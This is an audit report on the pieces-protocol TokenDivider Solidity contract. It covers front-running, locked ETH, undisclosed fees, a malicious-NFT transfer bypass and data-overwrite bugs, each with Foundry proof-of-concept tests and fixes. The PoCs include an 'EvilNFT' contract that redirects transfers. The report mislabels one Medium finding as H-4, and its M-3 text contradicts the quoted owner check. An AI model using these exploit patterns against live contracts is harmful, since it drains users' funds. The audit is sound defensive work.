# 2025-01-pieces-protocol Audit Report

Version 1.0

*Vincent71399*

*Jan 23, 2025*

# 2025-01-pieces-protocol Audit Report

Vincent71399

Jan 23, 2025

## 2025-01-pieces-protocol Audit Report

Auditor:

- Vincent71399

## Protocol Summary

Platform:

- CodeHawks

## Disclaimer

I, Vincent71399, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

## Findings

### High

#### [H-1] MEV(front running) attack is vulnerable on buyOrder function

**Description:** When an order is purchased, the remaining orders are shifted, causing the same orderIndex to reference a different order. This behavior is vulnerable to MEV(front running) attacks.

```
1      function buyOrder(uint256 orderIndex, address seller) external
           payable {
2          ...
3  @>      s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[
       seller][s_userToSellOrders[seller].length - 1];
4  @>      s_userToSellOrders[seller].pop();
5          ...
6      }
```

**Impact:** If a seller places multiple sell orders first and detects a buyer sending a transaction to purchase their order, the seller can frontrun by buying their own order. This shifts the other orders, causing the buyer to purchase the wrong one.

**Proof of Concept:** add the following in `test/unit/TokenDividerTest.t.sol`

```
1      address public HACKER = makeAddr("hacker");
2      ...
3      function testMEVAttack() public {
4          vm.deal(HACKER, STARTING_USER_BALANCE);
5
6          erc721Mock.mint(HACKER);
7          uint256 tokenId = 1;
8          assertEq(erc721Mock.ownerOf(tokenId), HACKER);
9
10         vm.startPrank(HACKER);
11         // 1.divide nft
```

```
12          erc721Mock.approve(address(tokenDivider), tokenId);
13          tokenDivider.divideNft(address(erc721Mock), tokenId, AMOUNT);
14          ERC20Mock erc20Mock = ERC20Mock(tokenDivider.
                getErc20InfoFromNft(address(erc721Mock)).erc20Address);
15
16          // 2.put 2 sell orders with same price but different amount
17          uint256 sellAmount1 = AMOUNT / 2;
18          uint256 sellAmount2 = 1;
19          uint256 price = 1e18;
20          erc20Mock.approve(address(tokenDivider), sellAmount1);
21          tokenDivider.sellErc20(address(erc721Mock), price, sellAmount1)
                ;
22          erc20Mock.approve(address(tokenDivider), sellAmount2);
23          tokenDivider.sellErc20(address(erc721Mock), price, sellAmount2)
                ;
24
25          assertEq(tokenDivider.getOrderPrice(HACKER, 0), price);
26          assertEq(tokenDivider.getOrderPrice(HACKER, 1), price);
27          vm.stopPrank();
28
29          // 3.when another user buy the 1st order, seller can front run
                to buy the 1st order, causing user accidentally buy the 2nd
                order
30          uint256 fee = price / 100;
31          uint256 sellerFee = fee / 2;
32          uint256 sentValue = price + sellerFee;
33          vm.prank(HACKER);
34          tokenDivider.buyOrder{value: sentValue}(0, HACKER);
35          vm.prank(USER2);
36          tokenDivider.buyOrder{value: sentValue}(0, HACKER);
37
38          assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)),
                sellAmount2);
39      }
```

then run `forge test --mt testMEVAttack`, the final fraction token USER2 got is only 1 instead of half of the total amount.

**Recommended Mitigation:** Utilize a mapping with the nonce as the key to store orders, ensuring the nonce only increments.

### [H-2] If buyer pay more ETH, the extra could become locked in the contract, leading to potential fund loss.

**Description:** in the `buyOrder` function, the contract does not check if the buyer sends more ETH than the order price, and it will only transfer the 2% fee to the seller. if more ETH is sent, the extra will be locked in the contract

```
    function buyOrder(uint256 orderIndex, address seller) external
        payable {
        ...
@>      (bool taxSuccess, ) = payable(owner()).call{value: fee}("");
        ...
    }
```

**Impact:** Loss of Funds

**Proof of Concept:** add the following in `test/unit/TokenDividerTest.t.sol`

```
    modifier nftSell(uint256 price, uint256 sellAmount) {
        ERC20Mock erc20Mock = ERC20Mock(tokenDivider.
            getErc20InfoFromNft(address(erc721Mock)).erc20Address);
        vm.startPrank(USER);
        erc20Mock.approve(address(tokenDivider), sellAmount);
        tokenDivider.sellErc20(address(erc721Mock), price, sellAmount);
        vm.stopPrank();
        _;
    }
    ...
    function testFundLocked() public nftDivided nftSell(1e18, AMOUNT){
        uint256 price = 1e18;
        uint256 fee = price / 100;
        uint256 sellerFee = fee / 2;
        uint256 extra = price / 2;
        uint256 sentValue = price + sellerFee + extra;

        uint256 index = 0;

        vm.startPrank(USER2);
        tokenDivider.buyOrder{value: sentValue}(index, USER);
        vm.stopPrank();

        assert(address(tokenDivider).balance == extra);
    }
```

**Recommended Mitigation:** Add a withdrawal function instead of directly transferring the ETH to the owner of the contract

```
+    function withdrawETH() external onlyOwner {
+        require(address(this).balance > 0, "No funds to withdraw");
+        payable(owner()).transfer(address(this).balance);
+    }
```

**[H-3] Documentation Discrepancy, the documentation does not mention a 2% fee; however, the contract logic deducts a 1% fee from both the buyer and the seller, which contradicts the protocol's stated terms.**

**Description:** In function `buyOrder`, buyer is require to send 1% more ETH than the order price, and the seller will receive 99% of the order price, the protocol doc never states this 2% charge.

```
    function buyOrder(uint256 orderIndex, address seller) external
        payable {
        ...
@>      uint256 fee = order.price / 100;
@>      uint256 sellerFee = fee / 2;

@>      if(msg.value <  order.price + sellerFee) {
@>          revert TokenDivider__InsuficientEtherForFees();
@>      }
        ...
    }
```

**Impact:** Users will pay more/earn less, resulting in financial harm.

**Proof of Concept:** add the following in `test/unit/TokenDividerTest.t.sol`

```
    modifier nftSell(uint256 price, uint256 sellAmount) {
        ERC20Mock erc20Mock = ERC20Mock(tokenDivider.
            getErc20InfoFromNft(address(erc721Mock)).erc20Address);
        vm.startPrank(USER);
        erc20Mock.approve(address(tokenDivider), sellAmount);
        tokenDivider.sellErc20(address(erc721Mock), price, sellAmount);
        vm.stopPrank();
        _;
    }
    ...
    function testBuyErc20WithFee() public nftDivided nftSell(1e18,
        AMOUNT/2) {
        ERC20Mock erc20Mock = ERC20Mock(tokenDivider.
            getErc20InfoFromNft(address(erc721Mock)).erc20Address);

        uint256 amountToSell = AMOUNT / 2;

        uint256 price = tokenDivider.getOrderPrice(USER, 0);
        uint256 fee = price / 100;
        uint256 sellerFee = fee / 2;

        assertEq(erc20Mock.balanceOf(USER2), 0);
        assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)),
            0);
        assertEq(erc20Mock.balanceOf(address(tokenDivider)),
            amountToSell);
        // check eth
```

```
23          uint256 ownerInitialBalance = tokenDivider.owner().balance;
24          uint256 userInitialBalance = USER.balance;
25          uint256 user2InitialBalance = USER2.balance;
26          assertEq(address(tokenDivider).balance, 0);
27          assertEq(USER.balance, 0);
28          assertEq(USER2.balance, STARTING_USER_BALANCE);
29
30          vm.prank(USER2);
31          tokenDivider.buyOrder{value: price + sellerFee}(0, USER);
32
33          assertEq(erc20Mock.balanceOf(USER2), amountToSell);
34          assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)),
                amountToSell);
35          assertEq(erc20Mock.balanceOf(address(tokenDivider)), 0);
36
37          // check eth
38          uint256 ownerBalanceAfter = tokenDivider.owner().balance;
39          uint256 userBalanceAfter = USER.balance;
40          uint256 user2BalanceAfter = USER2.balance;
41          assertEq(ownerBalanceAfter, ownerInitialBalance + fee);
42          assertEq(userBalanceAfter, userInitialBalance + price -
                sellerFee);
43          assertEq(user2BalanceAfter, user2InitialBalance - price -
                sellerFee);
44      }
```

and run the test `forge test --mt testBuyErc20WithFee`

**Recommended Mitigation:** Update the documentation to reflect the 2% fee charged to the buyer and seller.

### [H-4] The Protocol is vulnerable to Weird ERC721 attack, the function `divideNft` does not check if NFT is transferred to the tokenDivider contract.

**Description:** The function `divideNft` function only verifies that the caller is no longer the owner after the NFT transfer, but it does not ensure that the NFT is actually transferred to the tokenDivider contract.

```
1       function divideNft(address nftContract, uint256 tokenId, uint256
            amount) external {
2           ...
3           IERC721(nftAddress).safeTransferFrom(msg.sender, address(this),
                tokenId, "");
4   @>      if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert
        TokenDivider__NftTransferFailed(); }
5           ...
6       }
```

**Impact:** If a malicious NFT contract is passed in, the NFT may not be transferred to the tokenDivider contract, but still pass the `divideNft` function and become available for sale.

**Proof of Concept:** add a WeirdERC721Mock contract in `test/attacker/EvilNFT.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract EvilNFT is ERC721, Ownable {
    uint256 private _tokenIdCounter;
    address public interceptor;

    constructor() ERC721("EvilNFT", "EVL") Ownable(msg.sender) {}

    function setInterceptor(address _interceptor) public onlyOwner {
        interceptor = _interceptor;
    }

    function mint(address to) public onlyOwner {
        _safeMint(to, _tokenIdCounter);
        _tokenIdCounter++;
    }

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override {
        if(interceptor != address(0)) {
            super.safeTransferFrom(from, interceptor, tokenId, data);
        }else{
            super.safeTransferFrom(from, to, tokenId, data);
        }
    }
}
```

then add the following in `test/unit/TokenDividerTest.t.sol`

```
address public HACKER = makeAddr("hacker");
address public HACKER2 = makeAddr("hacker2");
...
modifier setupEvilNFT(){
    vm.startPrank(HACKER);
    evilNFT = new EvilNFT();
    evilNFT.setInterceptor(HACKER2);
    evilNFT.mint(HACKER);
    vm.stopPrank();
    _;
```

```
    }
    ...
    function testEvilDivideNft() public setupEvilNFT {
        assertEq(HACKER, evilNFT.ownerOf(TOKEN_ID));

        vm.startPrank(HACKER);
        evilNFT.approve(address(tokenDivider), TOKEN_ID);
        tokenDivider.divideNft(address(evilNFT), TOKEN_ID, AMOUNT);
        vm.stopPrank();
        // tokenDivider does not own the NFT after divideNft
        assertEq(evilNFT.ownerOf(TOKEN_ID), HACKER2);
    }
```

and run the test `forge test --mt testEvilDivideNft`

**Recommended Mitigation:** check if the NFT is owned by the tokenDivider contract

```
    function divideNft(address nftContract, uint256 tokenId, uint256 amount) external {
        ...
        IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
-       if(IERC721(nftAddress).ownerOf(tokenId) == msg.sender) { revert TokenDivider__NftTransferFailed(); }
+       if(IERC721(nftAddress).ownerOf(tokenId) != address(this)) { revert TokenDivider__NftTransferFailed(); }
        ...
    }
```

## Medium

### [M-1] Buyer can only query the price of orders, but cannot query the amount of fraction token in each order

**Description:** In the getOrderPrice function, the contract returns only the price of the order, not the actual amount of tokens being sold. Logically, buyers should be able to query the amount of tokens in each order.

```
    function getOrderPrice(address seller, uint256 index) public view returns(uint256 price) {
        price =  s_userToSellOrders[seller][index].price;
    }
```

**Impact:** non-transparent to buyers, they cannot know the actual amount of tokens they will get after buying an order.

**Recommended Mitigation:** return the full struct of the order instead of only the price

```
-    function getOrderPrice(address seller, uint256 index) public view returns(uint256 price) {
-        price =  s_userToSellOrders[seller][index].price;
-    }

+    function getOrderPrice(address seller, uint256 index) public view returns(SellOrder memory) {
+        return s_userToSellOrders[seller][index];
+    }
```

### [M-2] `TokenDivider` contract uses local state for fractional token balance, making the ERC20 token balance redundant and inconsistent.

**Description:** The TokenDivider contract uses local state to manage the fractional token balance, disregarding the actual balance of the ERC20 token. As a result, the ERC20 token balance becomes redundant and inconsistent with the balance in the local state.

**Impact:** Transferring fraction erc20 token directly will not update the local state, breaking the consistency between the local state and the actual balance of the ERC20 token.

**Proof of Concept:** add the following in `test/unit/TokenDividerTest.t.sol`

```
    function testTransferERCFractionOutsideDividerNotSync() public nftDivided {
        ERC20Mock fractionToken = ERC20Mock(tokenDivider.getErc20InfoFromNft(address(erc721Mock)).erc20Address);
        assertEq(fractionToken.balanceOf(USER), AMOUNT);
        assertEq(fractionToken.balanceOf(USER2), 0);
        assertEq(tokenDivider.getBalanceOf(USER, address(fractionToken)), AMOUNT);
        assertEq(tokenDivider.getBalanceOf(USER2, address(fractionToken)), 0);

        uint256 amountToTransfer = AMOUNT/2;
        vm.prank(USER);
        fractionToken.transfer(USER2, amountToTransfer);

        assertNotEq(fractionToken.balanceOf(USER), tokenDivider.getBalanceOf(USER, address(fractionToken)));
        assertNotEq(fractionToken.balanceOf(USER2), tokenDivider.getBalanceOf(USER2, address(fractionToken)));
    }
```

and run the test `forge test --mt testTransferERCFractionOutsideDividerNotSync`

**Recommended Mitigation:** Remove the local state for fractional token balance and use the ERC20

token balance directly.

### [M-3] `ERC20ToGenerateNftFraccion` is open for anyone to mint to any address

**Description:** The `ERC20ToGenerateNftFraccion` contract has a `mint` function that allows anyone to mint tokens to any address. making the total supply of the token inconsistent with the actual amount of NFTs divided.

```
    function mint(address to, uint256 amount) public {
        require(msg.sender == owner, "only owner can mint");
        _mint(to, amount);
    }
```

**Impact:** currently `tokenDivider` uses local state to manage the fractional token balance, this free mint does not directly break the function, but recommend to remove this function to avoid potential misuse.

**Recommended Mitigation:** remove the `mint` function in `ERC20ToGenerateNftFraccion` contract, instead, mint the token in the constructor. So the total supply of the token is fixed at the actual amount of NFTs divided.

### [H-4] `nftToErc20Info` is override when different NFTs from the same ERC721 contract are divided, will break `claimNft` function

**Description:** The tokenDivider contract uses a mapping to store the ERC20 contract address for each NFT contract. but with only the ERC721 contract address as key If multiple NFTs from the same ERC721 contract are divided, the last NFT divided will override the previous ones, Unfortunately, the `claimNft` function uses the `nftToErc20Info[nftAddress]` to retrieve the ERC20 contract address for the NFT if a buyer bought all the fraction tokens of the first NFT, then `nftToErc20Info[nftAddress]` got override by the second NFT, the buyer will not be able to claim the NFT

**Impact:** If override happens it can break `claimNft` logic, also it is impossible to track the ERC20 fraction contract address for the previous NFTs.

**Proof of Concept:** add the following in `test/unit/TokenDividerTest.t.sol`

```
    function testBreakClaimNft() public nftDivided nftSell(1e18, AMOUNT
        ) {
        uint256 price = 1e18;
        ERC20Mock erc20Mock = ERC20Mock(tokenDivider.
            getErc20InfoFromNft(address(erc721Mock)).erc20Address);

        // 1. mint another NFT from the same ERC721 contract
```

```
        erc721Mock.mint(USER);

        assertEq(erc721Mock.ownerOf(0), address(tokenDivider));
        assertEq(erc721Mock.ownerOf(1), USER);

        // 2. user2 buy the first NFT
        uint256 fee = price / 100;
        uint256 sellerFee = fee / 2;
        uint256 sentValue = price + sellerFee;

        vm.prank(USER2);
        tokenDivider.buyOrder{value: sentValue}(0, USER);

        assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)),
            AMOUNT);

        // 3. divide the second NFT
        uint256 secondTokenId = 1;
        vm.startPrank(USER);
        erc721Mock.approve(address(tokenDivider), secondTokenId);
        tokenDivider.divideNft(address(erc721Mock), secondTokenId,
            AMOUNT);
        vm.stopPrank();

        // 4. user2 claim the first NFT, claim will fail
        vm.startPrank(USER2);
        erc20Mock.approve(address(tokenDivider), AMOUNT);
        vm.expectRevert(TokenDivider.
            TokenDivider__NotEnoughErc20Balance.selector);
        tokenDivider.claimNft(address(erc721Mock));
        vm.stopPrank();
    }
```

and run the test `forge test --mt testBreakClaimNft`, tokenDivider.getErc20InfoFromNft(address(erc721Mo will be different after dividing the second NFT.

**Recommended Mitigation:** change `mapping(address nft => ERC20Info)nftToErc20Info` to `mapping(address nft -> mapping(uint256 tokenId => address))nftToErc20Info` to store the ERC20 contract address for each NFT tokenId. User need to provide both NFT contract address and tokenId to get the ERC20 contract address.

## Gas

### [G-1] duplicate check for address(0) in `transferErcTokens` function

**Description:** there are duplicate checks for address(0) in the `transferErcTokens` function

```
        if(to == address(0)) {
            revert TokenDivider__CantTransferToAddressZero();
        }
```

**Impact:** extra gas cost

**Recommended Mitigation:** should only keep one check